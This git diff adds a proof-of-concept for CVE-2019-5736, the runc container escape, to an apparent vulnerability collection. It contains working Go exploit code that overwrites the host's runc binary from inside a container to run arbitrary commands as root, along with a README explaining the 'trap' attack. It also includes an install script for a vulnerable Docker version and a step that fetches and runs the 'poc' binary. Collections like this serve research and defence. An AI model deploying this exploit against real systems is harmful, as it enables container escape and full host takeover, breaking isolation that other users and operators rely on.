diff --git a/cve/docker/2019/CVE-2019-5736/CVE-2019-5736-install-docker.sh b/cve/docker/2019/CVE-2019-5736/CVE-2019-5736-install-docker.sh new file mode 100644 index 0000000000000000000000000000000000000000..b838692f5260af84bb94e3f0302852f057955372 --- /dev/null +++ b/cve/docker/2019/CVE-2019-5736/CVE-2019-5736-install-docker.sh @@ -0,0 +1,114 @@ +#!/bin/bash +# date: 20190523 +# author: thinkycx +# Description: you can use this to install vulnerable docker ( CVE-2019-5736 docker runc escape ) +# tested on centos7/ubuntu16.04 +# Usage: +# 1. curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh +# 2. run docker_escape in docker container +# + + + +_centos_docker_old_version(){ + sudo yum install containerd.io + wget https://download.docker.com/linux/centos/7/x86_64/stable/Packages/docker-ce-18.06.0.ce-3.el7.x86_64.rpm + sudo yum install docker-ce-18.06.0.ce-3.el7.x86_64.rpm + # sudo yum install docker-ce-cli + # I cannot find a version matches with the docker-ce, so I didn't install it. + + # docker --version + # Docker version 18.06.0-ce, build 0ffa825 + + # more info + # It seems that we can use the scirpt to install docker. I haven't tested it. + # apt-get -y install curl + # curl -fsSL test.docker.com -o test-docker.sh + # VERSION=18.03.1 sh test-docker.sh +} + +centos_install_docker(){ + # date 20190523 + # ref https://docs.docker.com/install/linux/docker-ce/centos/#install-using-the-convenience-script + echo "[*] uninstall old..." + sudo yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-engine + # The contents of /var/lib/docker/, including images, containers, volumes, and networks, are preserved. + # The Docker CE package is now called docker-ce + + # Install using the repository + ## SET UP THE REPOSITORY + ### Install required packages. yum-utils provides the yum-config-manager utility + sudo yum install -y yum-utils \ + device-mapper-persistent-data \ + lvm2 + ### set up the stable repository. + sudo yum-config-manager \ + --add-repo \ + https://download.docker.com/linux/centos/docker-ce.repo + + + # install a specific version of Docker CE + #yum list docker-ce --showduplicates | sort -r + + # sudo yum install docker-ce- docker-ce-cli- containerd.io + # e.g docker-ce-18.09.1 + #sudo yum install docker-ce-18.09.6 docker-ce-cli-18.09.6 containerd.io + + # check GPG key, verify that the fingerprint matches + # 060A 61C5 1B55 8A7F 742B 77AA C52F EB6B 621E 9F35 + + _centos_docker_old_version + + sudo systemctl start docker +} + +ubuntu_install_docker(){ + # use script to install docker on ubuntu + curl -fsSL https://get.docker.com -o get-docker.sh && \ + sudo VERSION=18.06.0 sh get-docker.sh + sudo systemctl start docker + +} + + +install_dependencies(){ + source /etc/os-release + echo "OS: ", $ID + if [ $ID == "centos" ]; then + centos_install_docker + elif [ $ID == "ubuntu" ]; then + ubuntu_install_docker + else + echo "[!] cannot support your OS." + exit + fi + echo "[*] start to run docker..." + docker run -it ubuntu:18.04 "/bin/bash" +} + + +# bash main... +install_dependencies + +# Please run it manually in docker container. +docker_escape(){ + # run commands in container as to escape docker container . + # yous should compile POC yourself + # https://github.com/Frichetten/CVE-2019-5736-PoC + # compile main.go on macOS : + # $ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o poc main.go + apt-get update -y && \ + apt-get install curl -y && \ + apt-get install libseccomp-dev -y + + curl URL -o poc && \ + chmod u+x ./poc + ./poc +} \ No newline at end of file diff --git a/cve/docker/2019/CVE-2019-5736/README.md b/cve/docker/2019/CVE-2019-5736/README.md new file mode 100644 index 0000000000000000000000000000000000000000..2cdca1d1d6ad578a61c0b0b642962a5bda67fb7f --- /dev/null +++ b/cve/docker/2019/CVE-2019-5736/README.md @@ -0,0 +1,50 @@ +# CVE-2019-5736-PoC +PoC for CVE-2019-5736 + +Created with help from @singe, @_cablethief, and @feexd + +Tested on Ubuntu 18.04, Debian 9, and Arch Linux. Docker versions 18.09.1-ce and 18.03.1-ce. This PoC does not currently work with Ubuntu 16.04 and CentOS. + +Go checkout the exploit code from Dragon Sector (the people who discovered the vulnerability) here. + +### What is it? +This is a Go implementation of CVE-2019-5736, a container escape for Docker. The exploit works by overwriting and executing the host systems runc binary from within the container. + +## How does the exploit work? +There are **2** use cases for the exploit. The first (which is what this repo is), is essentially a trap. An attacker would need to get command execution inside a container and start a malicious binary which would listen. When someone (attacker or victim) uses `docker exec` to get into the container, this will trigger the exploit which will allow code execution as root. + +

+ +The second (which is **not** what this repo is), creates a malicious Docker image. When that image is run, the exploit will fire. No need to exec into the container. See the bottom of this readme for a gif example. + +### What do you need? +To exploit this vulnerability you need to have root (uid 0) inside the container. + +### Are there side effects? +**Yes, you will overwrite your implementation of runc which will ensure your system will no longer be able to run Docker containers. Please backup either /usr/bin/docker-runc or /usr/bin/runc (depending on which you have; also check /usr/sbin).** + +### How do I run it? +Modify the code however you see fit and compile it with `go build main.go`. Move that binary to the container you'd like to escape from. Execute the binary, and then the next time someone attaches to it and calls `/bin/sh` your payload will fire. + +### Step by step explanation +This PoC was created using an excellent explanation from this commit to the lxc project (along with some helpful advice from others). + +> As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe (/proc/self/exec is a symbolic link created by the kernel for every process which points to the binary that was executed for that process). As such when /bin/bash is executed inside the container, instead the target of /proc/self/exe will be executed - which will point to the runc binary on the host. + +We implement this by overwriting `/bin/sh` in the container with `#!/proc/self/exe` which will point to the binary that started this process (the Docker exec). +

+ +> The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runc binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing. To overcome this, the attacker can instead open a file descriptor to /proc/self/exe using the O_PATH flag and then proceed to reopen the binary as O_WRONLY through /proc/self/fd/ and try to write to it in a busy loop from a separate process. + +Note: Some parts of the previous section are not entirely accurate. You do not need to use the O_PATH flag when getting the file descriptor for runcinit. Additionally you do not need to create the write loop in another process. We get a file descriptor for the `runcinit` by getting a file handle to `/proc/PID/exe`. From there, we then use that handle to get a file handle to `/proc/self/fd/FILEDESCRIPTOR`. This is the file handle we will use for writing. + +

+ +> Ultimately it will succeed when the runC binary exits. After this the runC binary is compromised and can be used to attack other containers or the host itself. + +If we are able to write to that file handle we have overwritten the `runc` binary on the host. We are able to execute arbitrary commands as root. + +### Example of malicious Docker image +This repo does not contain this example but you can find it here. To my mind, this is the much more dangerous scenario. Simply run the malicious container image and you get code execution as root. For a detailed explanation please see this. + +

diff --git a/cve/docker/2019/CVE-2019-5736/main.go b/cve/docker/2019/CVE-2019-5736/main.go new file mode 100644 index 0000000000000000000000000000000000000000..a94ab4892745327ccdf3e0e057f1c966b79d075e --- /dev/null +++ b/cve/docker/2019/CVE-2019-5736/main.go @@ -0,0 +1,86 @@ +package main + +// Implementation of CVE-2019-5736 +// Created with help from @singe, @_cablethief, and @feexd. +// This commit also helped a ton to understand the vuln +// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d +import ( + "fmt" + "io/ioutil" + "os" + "strconv" + "strings" + "flag" +) + + +var shellCmd string + +func init() { + flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands") + flag.Parse() +} + +func main() { + // This is the line of shell commands that will execute on the host + var payload = "#!/bin/bash \n" + shellCmd + // First we overwrite /bin/sh with the /proc/self/exe interpreter path + fd, err := os.Create("/bin/sh") + if err != nil { + fmt.Println(err) + return + } + fmt.Fprintln(fd, "#!/proc/self/exe") + err = fd.Close() + if err != nil { + fmt.Println(err) + return + } + fmt.Println("[+] Overwritten /bin/sh successfully") + + // Loop through all processes to find one whose cmdline includes runcinit + // This will be the process created by runc + var found int + for found == 0 { + pids, err := ioutil.ReadDir("/proc") + if err != nil { + fmt.Println(err) + return + } + for _, f := range pids { + fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") + fstring := string(fbytes) + if strings.Contains(fstring, "runc") { + fmt.Println("[+] Found the PID:", f.Name()) + found, err = strconv.Atoi(f.Name()) + if err != nil { + fmt.Println(err) + return + } + } + } + } + + // We will use the pid to get a file handle for runc on the host. + var handleFd = -1 + for handleFd == -1 { + // Note, you do not need to use the O_PATH flag for the exploit to work. + handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) + if int(handle.Fd()) > 0 { + handleFd = int(handle.Fd()) + } + } + fmt.Println("[+] Successfully got the file handle") + + // Now that we have the file handle, lets write to the runc binary and overwrite it + // It will maintain it's executable flag + for { + writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) + if int(writeHandle.Fd()) > 0 { + fmt.Println("[+] Successfully got write handle", writeHandle) + fmt.Println("[+] The command executed is" + payload) + writeHandle.Write([]byte(payload)) + return + } + } +} diff --git a/cve/docker/2019/CVE-2019-5736/screenshots/1.png b/cve/docker/2019/CVE-2019-5736/screenshots/1.png new file mode 100644 index 0000000000000000000000000000000000000000..e55e9b4f60b5477bd4d3d085f6c2e213867b41a3 Binary files /dev/null and b/cve/docker/2019/CVE-2019-5736/screenshots/1.png differ diff --git a/cve/docker/2019/CVE-2019-5736/screenshots/2.png b/cve/docker/2019/CVE-2019-5736/screenshots/2.png new file mode 100644 index 0000000000000000000000000000000000000000..ef071dc938ff39f7be471f2589b662da49d616c3 Binary files /dev/null and b/cve/docker/2019/CVE-2019-5736/screenshots/2.png differ diff --git a/cve/docker/2019/CVE-2019-5736/screenshots/dangerous.gif b/cve/docker/2019/CVE-2019-5736/screenshots/dangerous.gif new file mode 100644 index 0000000000000000000000000000000000000000..ce66dc4a5663ed4297961e657357c2a8b4c6dddf Binary files /dev/null and b/cve/docker/2019/CVE-2019-5736/screenshots/dangerous.gif differ diff --git a/cve/docker/2019/CVE-2019-5736/screenshots/example1.gif b/cve/docker/2019/CVE-2019-5736/screenshots/example1.gif new file mode 100644 index 0000000000000000000000000000000000000000..4551e40972cfb9a5c7be26fb3e562cd92af2939f Binary files /dev/null and b/cve/docker/2019/CVE-2019-5736/screenshots/example1.gif differ diff --git a/cve/docker/2019/yaml/CVE-2019-5736.yaml b/cve/docker/2019/yaml/CVE-2019-5736.yaml new file mode 100644 index 0000000000000000000000000000000000000000..fefd75ac700c9b8b9191aa595c22d18c9bcaf529 --- /dev/null +++ b/cve/docker/2019/yaml/CVE-2019-5736.yaml @@ -0,0 +1,21 @@ +id: CVE-2019-5736 +source: https://github.com/Frichetten/CVE-2019-5736-PoC +info: + name: runc 到 1.0-rc6,在 18.09.2 之前的 Docker 和其他产品中使用。 + severity: high + description: | + 允许攻击者通过利用在这些类型之一中以 root 身份执行命令的能力来覆盖主机 runc 二进制文件(并因此获得主机 root 访问权限)容器:(1) 具有攻击者控制的映像的新容器,或 (2) 攻击者先前具有写入权限的现有容器,可以使用 docker exec 附加该容器。这是由于与 /proc/self/exe 相关的文件描述符处理不当造成的。。 + scope-of-influence: + docker version <=18.09.2 + RunC version <=1.0-rc6 + reference: + - https://www.4hou.com/vulnerable/16361.html + - https://github.com/Frichetten/CVE-2019-5736-PoC\ + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H + cvss-score: 8.6 + cve-id: CVE-2019-5736 + cwe-id: CWE-78 + cnvd-id: None + kve-id: None + tags: cve2019,docker.runc \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 9817e2babdda6b5c51694e457bd230e3fe00b6f8..8b95b763e147eb2ffcaf7f88e864001e9a352f89 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -7,4 +7,6 @@ cve: - CVE-2021-3560 redis: - CVE-2022-0543 + docker: + - CVE-2019-5736 cnvd: \ No newline at end of file